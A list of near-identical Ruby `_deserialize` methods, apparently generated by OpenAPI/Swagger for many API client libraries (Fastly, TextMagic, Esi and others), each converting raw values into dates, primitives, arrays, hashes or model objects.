"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WellsFargoAchClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ArtikCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Dkron.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Hubspot::Cms::Performance.const_get(type)\n klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SmoochApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SamplifyAPIClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = OpsgenieClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = LemonWayClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n Nodeum.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
